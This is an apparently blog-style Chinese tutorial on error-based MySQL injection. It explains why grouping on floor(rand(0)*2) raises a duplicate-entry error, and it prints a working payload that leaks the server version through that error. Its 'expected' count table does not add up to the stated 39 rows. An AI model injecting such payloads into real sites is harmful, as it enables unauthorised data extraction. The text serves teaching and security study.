SQL注射取數據的方式有多種:
- 利用union select查詢直接在頁面上返回數據,這種最為常見,一個前提是攻擊者能夠構造閉合的查詢。
- Oracle中利用監聽UTL_HTTP.request發起的HTTP請求,把QuerySet反彈回攻擊者的主機。當然,HTTP服務器對URL的長度有一定限制,因此每次可返回的數據量不可過多。
- 基於錯誤消息取數據,前提是頁面能夠響應詳細的錯誤描述。它的一個優點是,我們可能不必太費力去猜測和閉合SQL(可以構造子查詢,讓MySQL在子查詢中報錯)。
- 盲注,頁面不會顯示錯誤消息。常見基於布爾的盲注、基於時間的盲注,此類注射點利用價值相對要低一點,猜解數據的時間較長。
本篇簡單說明非常經典的基於錯誤回顯的MySQL注射。最重要的,就是理解下面的SQL查詢:
select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;
上面的這條SQL將報錯: Duplicate entry ‘1’ for key ‘group_key’
如下圖
1. 為什么MySQL注射要用information_schema庫?
答案是這個庫是MySQL自帶的,安裝之后就創建好了,所有賬號都有權限訪問。攻擊者無需猜解庫名、表名。跟Oracle注射使用dual類似。
2. 如何利用報錯取數據?
利用報錯,攻擊者把目標數據concat連接到floor()函數的前后即可。
例如,下面的語句用於獲取MySQL Server版本,構造:
mysql> select count(*),concat( floor(rand(0)*2), 0x5e5e5e, version(), 0x5e5e5e) x from information_schema.character_sets
group by x;
ERROR 1062 (23000): Duplicate entry ‘1^^^5.5.28^^^’ for key ‘group_key’
通過報錯,即可知道當前數據庫是5.5.28。0x5e5e5e是3個尖括號的16進制表示。 自動化SQL注射工具通常會在目標數據前后做類似的標記,方便程序提取。
加上標記,也可以方便攻擊者在大的頁面中搜索。
3. 為何這條語句會報錯?
rand(0)是把0作為生成隨機數的種子。首先明確一點,無論查詢多少次,無論在哪台MySQL Server上查詢,連續rand(0)生成的序列是固定的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
mysql> select rand(0)*2 x from information_schema.character_sets;
+---------------------+
| x |
+---------------------+
| 0.3104408553898715 |
| 1.241763483026776 |
| 1.2774949104315554 |
| 0.6621841645447389 |
| 1.4784361528963188 |
| 1.4056283323146668 |
| 0.5928332643516672 |
| 0.7472813862816258 |
| 1.9579071998204172 |
| 1.5476919017244986 |
| 1.8647379706285316 |
| 0.6806142094364522 |
| 1.8088571967639562 |
| 1.002443416977714 |
| 1.5856455560639924 |
| 0.9208975908541098 |
| 1.8475513475458616 |
| 0.4750640266342685 |
| 0.8326661520010477 |
| 0.7381387415697228 |
| 1.192695313312761 |
| 1.749060403321926 |
| 1.167216138138637 |
| 0.5888995421946975 |
| 1.4428493580248667 |
| 1.4475482250075304 |
| 0.9091931124303426 |
| 0.20332094859641134 |
| 0.28902546715831895 |
| 0.8351645514696506 |
| 1.3087464173405863 |
| 0.03823849376126984 |
| 0.2649532782518801 |
| 1.210050971442881 |
| 1.2553950839260548 |
| 0.6468225667689206 |
| 1.4679276435337287 |
| 1.3991705788291717 |
| 0.5920700250119623 |
+---------------------+
|
應用floor函數(取浮點數的整數部分)后,結果變成了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
mysql> select floor(rand(0)*2) x from information_schema.character_sets;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 0 |
| 0 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
+---+
39 rows in set (0.00 sec)
|
可以看到,第二行和第三行的值都是1。這也是最終引起MySQL報錯Duplicate entry的地方。
實際上,我們分開執行下面的兩種查詢,都是不會出錯的:
a) select floor(rand(0)*2) x from information_schema.character_sets group by x;
上面的查詢根據x列的值進行分組,得到:
1
2
3
4
5
6
|
+---+
| x |
+---+
| 0 |
| 1 |
+---+
|
b) select count(*), floor(rand(0)*2) x from information_schema.character_sets;
得到information_schema.character_sets總共有39行:
1
2
3
4
5
6
|
+----------+---+
| count(*) | x |
+----------+---+
| 39 | 0 |
+----------+---+
1 row in set (0.00 sec)
|
請注意,這里x的值出現的是0。
c) 將上述語句結合后即報錯
select count(*), floor(rand(0)*2) x from information_schema.character_sets group by x;
我們預期的結果, 其實是:
1
2
3
4
5
6
7
8
|
+----------+---+
| count(*) | x |
+----------+---+
| 18 | 0 |
+----------+---+
| 11 | 1 |
+----------+---+
2 row in set (0.00 sec)
|
然而MySQL在內部處理中間結果的時候,出現了意外,導致報錯。